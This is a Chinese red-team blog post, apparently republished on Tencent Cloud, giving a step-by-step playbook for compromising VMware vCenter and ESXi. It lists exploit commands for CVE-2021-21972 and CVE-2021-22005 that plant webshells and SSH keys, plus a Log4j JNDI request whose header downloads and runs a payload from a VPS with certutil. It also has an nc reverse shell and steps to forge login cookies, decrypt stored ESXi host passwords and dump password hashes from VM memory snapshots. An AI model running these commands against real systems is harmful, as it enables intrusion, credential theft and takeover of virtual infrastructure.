首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >红队技术-Vcenter实战利用方式总结

红队技术-Vcenter实战利用方式总结

作者头像
hyyrent
发布于 2022-12-26 12:03:44
发布于 2022-12-26 12:03:44
1.2K00
代码可运行
举报
文章被收录于专栏:安全学习记录安全学习记录
运行总次数:0
代码可运行

Vcenter利用方式总结

指纹特征

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
title="+ ID_VC_Welcome +"

查看Vcenter版本

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/sdk/vimServiceVersions.xml

CVE-2021-21972

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/ui/vropspluginui/rest/services/uploadova

访问上面的路径,如果404,则代表不存在漏洞,如果405 则代表存在漏洞

windows机器:

漏洞利用: https://github.com/horizon3ai/CVE-2021-21972

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp

-t (目标地址)
-f (上传的文件)
-p (上传后的webshell路径,默认不用改)

上传后的路径为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://x.x.x.x/statsreport/gsl.jsp

完整路径为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport

Linux机器:

1、写公私钥(需要22端口开放)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub

2、遍历写shell(时间较久)

https://github.com/NS-Sp4ce/CVE-2021-21972

CVE-2021-22005

影响范围

  • vCenter Server 7.0 < 7.0 U2c build-18356314
  • vCenter Server 6.7 < 6.7 U3o build-18485166
  • Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
  • Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
  • 6.7 vCenters Windows版本不受影响

漏洞利用:

https://github.com/r0ckysec/CVE-2021-22005

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell

https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python cve-2021-22005.py -t https://x.x.x.x

连接webshell

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://x.x.x.x/idm/..;/test.jsp

上传后的webshell完整路径为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp

CVE-2021-44228

利用log4j漏洞,漏洞触发点为XFF头部

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

DNSlog探测漏洞是否存在

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}

使用 JNDIExploit 工具,-u 查看可执行命令

漏洞利用:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIP
X-Forwarded-For: ${jndi:ldap://VPSIP:1389/TomcatBypass/TomcatEcho}
cmd:

cs上线

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
cmd: certutil -urlcache -split -f http://VPS C:\Users\Public\1.exe && C:\Users\Public\1.exe
X-Forwarded-For: ${jndi:ldap://VPS:1389/TomcatBypass/TomcatEcho}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Linux使用反弹shell命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -e /bin/sh 10.10.10.10 8888
nc -lvp 8888

弹回来若是非交互式shell没有回显,使用以下命令切换为交互式

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

获取vcenter-web控制台权限

重置密码

比较快的一种方法,但是修改之后无法获取原来的密码,管理员会发现密码被改

选择 3 选项,输入默认 administrator@vsphere.local (需要管理员权限)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Linux 
/usr/lib/vmware-vmdir/bin/vdcadmintool 

#Windows 
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
cookie登录

通过解密数据库登录获取cookie,再用cookie登录web

解密脚本:https://github.com/horizon3ai/vcenter_saml_login

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python vcenter_saml_login.py -p data.mdb -t 10.9.16.11 

然后会生成相应的cookie,访问 ui 路径进行 cookie 替换即可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Linux
/storage/db/vmware-vmdir/data.mdb

#windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

使用小饼干替换cookie,成功登录

windows运行脚本需要安装对应版本的python-ldap

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1
pip install python_ldap-3.4.0-cp38-cp38-win_amd64.whl
pip install -r requirements.txt

实际测试过程中发现windows的data.mdb文件过大,拉回来不是那么方便,适合Linux机器

这时候如果目标机器上装有python环境,可使用3gstudent师傅的脚本进行利用

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python vCenter_ExtraCertFromMdb.py data.mdb

运行脚本会生成三段证书文件,放置到相应的位置

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt
不重置获取密码(ESXI)

查看域

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost

#windows
C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhost
C:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost

坑点:由于路径中间存在空格,导致识别不了

解决方法:使用双引号对含有空格的路径进行单独处理

1、获取解密key
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

#Linux
cat /etc/vmware-vpx/ssl/symkey.dat
2、获取数据库账号密码

vcenter默认数据库文件存放在vcdb.properties,配置文件中有数据库的明文账号密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

默认是postgresql数据库,只能在vCenter服务器本地登录,执行语句查询ESXI的密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#psql默认存放位置
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql

#执行语句查询
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

#执行完会输出一段加密字段
Command> shell psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
Shell access is granted to root
Password for user vc: 
ip_address  | user_name |                                         password                                      
-------------+-----------+---------------------------------------------------------------------------------------
192.168.1.1 | vpxuser   | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
192.168.1.2 | vpxuser   | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
192.168.1.3 | vpxuser   | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
192.168.1.4 | vpxuser   | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
(4 rows)

#只保留password字段
*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==

在实际情况中也碰到使用 MSSQL 数据库的情况,这时候直接使用 navicat 进行连接,搜索 VPX_HOST

3、使用脚本解密

https://github.com/shmilylty/vhost_password_decrypt

  • password字段放到password.enc里面
  • symkey.dat为第一步获取的解密key
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python decrypt.py symkey.dat password.enc password.txt

执行脚本后,会输出一个password.txt,里面存放着对应 ip_address 的 ESXI 机器密码

4、登录ESXI

在 ESXI 机器地址后面添加 /ui ,访问web控制台,账密为 vpxuser/password.txt里的密码

解密出来的密码除了可以登录web控制台以外还可以ssh登录机器,不过需要服务里开启 SSH 安全shell

获取虚拟机权限

登录web控制台后,想要获取某个虚拟机的权限,比如说目标系统为靶标

选择目标虚拟机,操作生成快照

数据存储位置找到相应的快照文件

也可以通过 ssh 登录ESXI服务器上,通过 find 找出相应的 vmemvmsn 文件拷贝到本地

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
find / -name "*.vmem"

https://www.volatilityfoundation.org/releases

使用 volatility 工具查看 profile

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo

读取注册表

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist

获取hash并解出密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-08-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Vcenter利用方式总结
漏洞利用: https://github.com/horizon3ai/CVE-2021-21972
hyyrent
2022/12/26
1.4K0
Vcenter利用方式总结
干货 | vCenter 漏洞利用总结
**VMware Inc ** 是一家软件公司。它开发了许多产品,尤其是各种云解决方案 。它的云解决方案包括云产品,数据中心产品和桌面产品等。
HACK学习
2023/01/03
6.7K0
干货 | vCenter 漏洞利用总结
攻防演练-某集团红队检测
链接:https://github.com/EdgeSecurityTeam/EHole
hyyrent
2022/12/26
7810
攻防演练-某集团红队检测
攻防|记一次VMware vCenter后渗透过程
针对VMware vCenter的介绍就不多说了,大佬们可以自己搜搜。这里只分享过程和踩到的坑点&技巧。
亿人安全
2024/07/12
7390
攻防|记一次VMware vCenter后渗透过程
CVE-2021-21972-VMware vCenter漏洞学习
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/12/30
1.9K0
CVE-2021-21972-VMware vCenter漏洞学习
攻防 | 记一次打穿xx公司域控
https://www.freebuf.com/articles/web/373114.html
亿人安全
2023/08/10
4530
攻防 | 记一次打穿xx公司域控
攻防|记一次攻防演练实战总结
https://hunter.qianxin.com/ https://fofa.info/ https://quake.360.cn/
亿人安全
2022/12/22
1.8K0
攻防|记一次攻防演练实战总结
CVE-2021-22005-VMware vCenter漏洞学习
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/12/19
2.3K0
CVE-2021-22005-VMware vCenter漏洞学习
VMware vCenter Server 任意文件上传漏洞复现 CVE-2021-22005
VMware是一家云基础架构和移动商务解决方案厂商,提供基于VMware的虚拟化解决方案。2021年9月22日,VMware 官方发布安全公告,披露了包括 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞在内的多个中高危严重漏洞。在CVE-2021-22005中,攻击者可构造恶意请求,通过vCenter中的Analytics服务,可上传恶意文件,从而造成远程代码执行漏洞。
Ms08067安全实验室
2021/11/10
7.6K0
【实战】记一次攻防演练之vcenter后渗透利用
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/12/19
2K0
【实战】记一次攻防演练之vcenter后渗透利用
记一次实战通过CVE-2021-21972拿下内网
最近看到几个公众号发关于CVE-2021-22005的帖子,但是发现大家都是纸上谈兵,没有实操的帖子是没有灵魂的,实践才是检验真理的唯一准则。正好我前几天做渗透测试(正经渗透测试,有授权的!)的时候通过CVE-2021-21972拿下了一台机器,并且成功登陆进了控制平台里,下面我给大家复原一下整个攻击的思路。
Gamma实验室
2021/11/15
3.3K0
记一次实战通过CVE-2021-21972拿下内网
CVE-2021-21972:vSphere Client RCE复现
vSphere是VMware推出的虚化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。
Timeline Sec
2021/07/23
5.1K0
CVE-2021-21972:vSphere Client RCE复现
实战|内网中vcenter集群攻击全程实录,学会你也行!
最近在做项目的时候,测到了一个部署在内网的存在漏洞的vCenter集群,这不巧了,正好最近在研究这vCenter、域这些集控类设备的打法,于是做了详细记录,有很多碰到的问题和解决办法,大佬勿喷哈哈。
亿人安全
2025/02/18
1910
实战|内网中vcenter集群攻击全程实录,学会你也行!
红队技术-攻防实战小技巧
https://hunter.qianxin.com/ https://fofa.info/ https://quake.360.cn/
hyyrent
2023/05/09
1.5K0
红队技术-攻防实战小技巧
vCenterServer安装与使用
官方介绍:VMware vSphere 是 VMware 的虚拟化平台,可将数据中心转换为包括 CPU、存储和网络资源的聚合计算基础架构。 vSphere 将这些基础架构作为一个统一的运行环境进行管理,并为您提供工具来管理加入该环境的数据中心。
全栈工程师修炼指南
2022/09/28
7.7K0
vCenterServer安装与使用
VMware vCenter中未经授权的RCE
技术大佬在对vSphere Client进行分析的过程中,像往常一样采用了黑盒和白盒两种方法进行测试,重点研究了未经授权即可利用的漏洞。从Web面板,尝试发送尽可能多的不同请求,所有请求都没有Cookie标头。
洛米唯熊
2022/02/28
1.5K0
VMware vCenter中未经授权的RCE
用Ansible自动供应vmware虚拟机--构建数据中心一体化运维平台第二篇
1.1 简述 一直以来,打开邮箱被ticket糊一脸的事情时有发生。我一直在想,能不能以一种简单的方案(不花老板的钱)来供应(provisioning)虚拟机呢? 我不喜欢openstack,因为太重,太复杂,除了自服务其它那些编排功能暂时也用不上。我也不喜欢vmware的云套件,因为不想和vmware有太深的羁绊,以至于将来可能会失业什么的。 所以我一直在寻找一种简单粗暴的办法。 我尝试过用虚机模版,把各种东西都装好打一个大包,以后每次手动改一下配置。用了一阵时间就会发现,模版版本多到自己都晕了。 而且还
魏新宇
2018/03/22
3K1
exsi速用命令和常见问题
vicfg-user --url https://esxi-host/sdk/webService --username root --password [old-pwd] -u root -e user -l root -o modify -p [new-pwd]
孙杰
2019/10/29
10.2K1
红队技巧-域渗透的协议利用
哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统,攻击者无须通过解密hash值来获取明文密码,因为对于每个Session hash值都是固定的,除非密码被修改了(需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击,攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。
Gamma实验室
2021/07/01
1.7K0
CVE-2021-21975:vRealize Operations Manager SSRF
2021年3月31日,VMWare官方发布了VMSA-2021-0004的风险通告,漏洞编号为CVE-2021-21975,CVE-2021-21983,漏洞等级:高危,漏洞评分8.6。
Al1ex
2021/07/21
7620
CVE-2021-21975:vRealize Operations Manager SSRF
相关推荐
Vcenter利用方式总结
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档